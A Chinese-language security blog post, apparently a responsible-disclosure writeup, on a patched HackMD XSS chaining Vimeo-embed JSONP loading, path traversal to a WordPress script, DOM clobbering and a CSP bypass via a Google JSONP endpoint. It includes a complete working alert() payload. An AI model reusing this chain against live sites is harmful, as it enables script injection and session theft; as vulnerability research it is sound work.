某個自古以來就存在的 HackMD XSS

在 AIS3 2022 的時候 maple3142 突然就挖到了兩個 XSS,於是就決定跟風來挖一下,結果就順利找到了!值得一提的是這次的 XSS 不同於以往 HackMD 常見的字串拼接型 XSS,整個利用流程算是較為有趣的,所以久違的來發文來記錄個,順便 survey 一下 HackMD 的一些其他問題。

前言之類的

HackMD 允許的語法自由度相當高,允許了不少 HTML tag,也有很多自定義的特殊語法,所以一直是駭客們愛打的目標,CTF 也出現過好幾次 CodiMD 的 0-day 題 XD,像是 Pwn2Win 2021 - HackUshxp CTF 2020 - hackme 等等,這樣看起來,我說不定其實應該把這個洞屯起來出在下次 CTF 的。順帶一提,CodiMD 和 hackmd.io 的原始碼(不論前後端)都有蠻大的差異,所以可能會存在一些只能在 CodiMD 或 hackmd.io 執行的語法或 payload;喔對了,還有一個東西叫 HedgeDoc,那又是另外一個故事了。

總之,觀察一下其實會發現除了少數的案例,如 orange 在 2019 找到的一個由於 parse HTML 出錯導致的 XSS 外,其他大多都是肇因於 HackMD 自定義語法導致的問題,如開頭提到的 maple3142 找到的那兩個以及那兩題 CTF 都算是這類型,所以如果要開始挖洞,基本上閱讀那部分的 code 會是一個很好的入口點,而我這次找到的這個也不例外。

嵌入 Vimeo

這次出問題的地方是在嵌入 Vimeo 影片的功能上。

HackMD 有支援嵌入 Vimeo 影片的語法,像 {%vimeo 346762373 %} 就可以嵌入 https://vimeo.com/346762373 的影片,但它是怎麼實作的呢?觀察了一下發現可以大致拆成三步驟:

  1. 預先把 markdown 中長得像 {%vimeo 346762373 %} 的特殊語法找出來轉換成 <span class="vimeo raw" data-videoid="346762373"></span> 這樣的 HTML
  2. 整個頁面會經過一些標準的 sanitize 以避免 XSS
  3. 最後才真正把剛剛轉換成 span tag 的那段變成 vimeo 嵌入影片

而實際上 HackMD 大多數的特殊語法都是經過這樣的流程處理的。

從上面的流程應該不難注意到,如果步驟三實作錯誤是最有可能導致 XSS 問題的,而下面是它們當初修正前的程式碼

t.find('span.vimeo.raw').filter(r).removeClass('raw').click((function () {
    lt(this, '//player.vimeo.com/video/')
})).each((function (t, n) {
    !function (e, t) {
        var n = 'jsonp_callback_' + Math.round(1000000000 * Math.random());
        window[n] = function (e) {
            delete window[n],
                document.body.removeChild(r),
                t(e)
        };
        var r = document.createElement('script');
        r.src = e + (e.indexOf('?') >= 0 ? '&' : '?') + 'callback=' + n,
            document.body.appendChild(r),
            r.onerror = function (e) {
                console.error(e),
                    r.remove()
            }
    }('//vimeo.com/api/v2/video/'.concat(e(n).attr('data-videoid'), '.json'), (function (t) {
        var r = t[0].thumbnail_large,
            i = '<img src="'.concat(r, '" />');
        e(n).prepend(i),
            window.viewAjaxCallback && window.viewAjaxCallback()
    }))
}))

簡單來說,HackMD 找到 span.vimeo.raw 的元素後會把它的 data-videoid 抓出來後不經過任何檢查,就直接對 //vimeo.com/api/v2/video/<data-videoid>.json?callback=random 進行 JSONP 操作,如果不知道 JSONP 是什麼的話,本質上就是載入一個外部 JavaScript 進來啦。同時我們也可以從這邊知道不一定需要透過 {%vimeo videoid %} 語法才能嵌入 Vimeo 影片,直接寫 HTML 就行了。說起來既然是載入外部 JavaScript,那一旦那個 JavaScript 可以被控制就能輕鬆達成 XSS 了。

首先 JSONP callback 的部分可以很簡單的被控制,只要把 data-videoid 設成 346762373.json?callback=alert# ,載入的 JavaScript 就會變成 //vimeo.com/api/v2/video/346762373.json?callback=alert#.json?callback=random# 後面的東西就會被當成 hash 忽略掉了。

其實到目前為止我們已經能跳一個 alert 出來了,但由於 vimeo 後端會檢查 callback 參數用的字元,所以就只是一個 alert 而已,那我們要怎麼把它變成 XSS 呢?

找尋 Gadget

既然當前的 JSONP endpoint 行不通,那就去試試其它地方吧!反正整個 data-videoid 都是可以被我們任意操控的,我們自然可以直接用 ../ 去逛整個 vimeo 網站看有沒有其他實用的 endpoint 或 JavaScript 啦。

於是我直接去 vimeo.com 隨便看一下,很快就發現了他們有 https://vimeo.com/blog 這個部落格,觀察一下還會發現其實是用 WordPress 架的!反正是開源 CMS 嘛,那就直接 clone 整個 WordPress 下來找吧。經過一番搜尋找到了 wp-includes/js/zxcvbn-async.js,程式碼看起來長這樣

(function() {
  var async_load = function() {
    var first, s;
    s = document.createElement('script');
    s.src = _zxcvbnSettings.src;
    s.type = 'text/javascript';
    s.async = true;
    first = document.getElementsByTagName('script')[0];
    return first.parentNode.insertBefore(s, first);
  };

  if (window.attachEvent != null) {
    window.attachEvent('onload', async_load);
  } else {
    window.addEventListener('load', async_load, false);
  }
}).call(this);

它做的事情很簡單,就是把變數 _zxcvbnSettings.src 當成 src 載入一個新的 JavaScript 而已,所以只要能控制到 _zxcvbnSettings.src 變數,我們就能載入任意的 JavaScript 了!我們如果要把這個 zxcvbn-async.js 載入進來可以這樣寫:

<span class="vimeo raw" data-videoid="../../../blog/wp-includes/js/zxcvbn-async.js#"></span>

如此一來,HackMD 就會去載入 //vimeo.com/api/v2/video/../../../blog/wp-includes/js/zxcvbn-async.js#.json?callback=random 這樣路徑的 js 了;至於要控制 _zxcvbnSettings.src 變數的方法其實也不難,利用 DOM clobbering 這個技巧就能做到了,只要插入一個 id="_zxcvbnSettings" 的 img tag,並設定一下 src 就能控到 _zxcvbnSettings.src 的值了,大概像這樣:

<img src="https://host/xss.js" id="_zxcvbnSettings">

利用上確實算簡單,但能在現實世界中發現 DOM clobbering 的利用點也是蠻難得的

Bypassing CSP

雖然我們能任意載入 JavaScript 了,但依然受到 CSP 的限制不能直接載入隨便一個 hots 的 JavaScript 進來,而他們目前的 CSP 是這樣的:

script-src 'self' vimeo.com https://gist.github.com www.slideshare.net 'unsafe-eval' https://assets.hackmd.io https://www.google.com https://apis.google.com https://docs.google.com https://www.dropbox.com https://*.disqus.com https://*.disquscdn.com https://www.google-analytics.com https://stats.g.doubleclick.net https://secure.quantserve.com https://rules.quantcount.com https://pixel.quantserve.com https://static.hotjar.com https://script.hotjar.com https://www.googletagmanager.com https://cdn.ravenjs.com vC1YM4uNxqWaM='; img-src * data:; style-src 'self' 'unsafe-inline' https://assets-cdn.github.com https://github.githubassets.com https://assets.hackmd.io https://www.google.com https://fonts.gstatic.com https://*.disquscdn.com; font-src 'self' data: https://public.slidesharecdn.com https://assets.hackmd.io https://*.disquscdn.com https://script.hotjar.com; object-src *; media-src *; frame-src *; child-src *; connect-src *; base-uri 'none'; form-action 'self' https://www.paypal.com; upgrade-insecure-requests

然而眾所皆知的 HackMD 的 CSP 相當好繞 XD,裡面允許了不少 host 可以用來被繞過的,例如它允許了 www.google.com,上面有一個使用者幾乎可以完全控制的 JSONP endpoint,因此其中一個最簡單的 payload 就是 https://www.google.com/complete/search?client=chrome&jsonp=alert(document.domain)//

但都寫到這邊了,還是來 survey 一下其他還有哪些可以用來進行繞過的 host 吧,我們就從 CSP Evaluator 有跳警告的來看

最終 Paylaod

<!-- DOM clobbering + CSP Byapss  -->
<img src="https://www.google.com/complete/search?client=chrome&jsonp=alert(document.domain)//" id="_zxcvbnSettings">
<!-- load gadget  -->
<span class="vimeo raw" data-videoid="../../../blog/wp-includes/js/zxcvbn-async.js#"></span>

最後順便來一個酷酷的跳 alert 畫面

後記

話說挖到最後才發現開源的 CodiMD 原本就有那段程式碼(而且到現在似乎都還沒修 🤔),根本不用去和那坨被壓縮過的 JavaScript 奮鬥 XD。不過再認真翻了一下,會發現這個有問題的寫法自古以來就存在了——所以我真的像標題說的一樣,挖到了一個自古以來就存在的 HackMD XSS 嗎?別忘了我們 exploit 成功要搭配 vimeo.com/blog,所以就去 web.archive.org 二分搜一下,會發現其實到 2019/5 Vimeo 才採用 WordPress 當他們的 blog 系統。

對,所以標題騙你。

但搞不好以前也有神奇 gadget 可以用,所以我說不定沒騙你(?)

對了,從年份看起來,本篇開頭提到的那兩題 CTF 分別是在 2020 和 2021 出的,所以應該都可以用我的這個打法弄出一個 unintended solution 呢

Timeline

  • 2022/8/2 | 回報漏洞
  • 2022/8/5 | 回覆 & 送小禮物 🎁
  • 2022/8/9 | 發布修復版本(Changelog,雖然上面寫 8/18 🤔)
Show Comments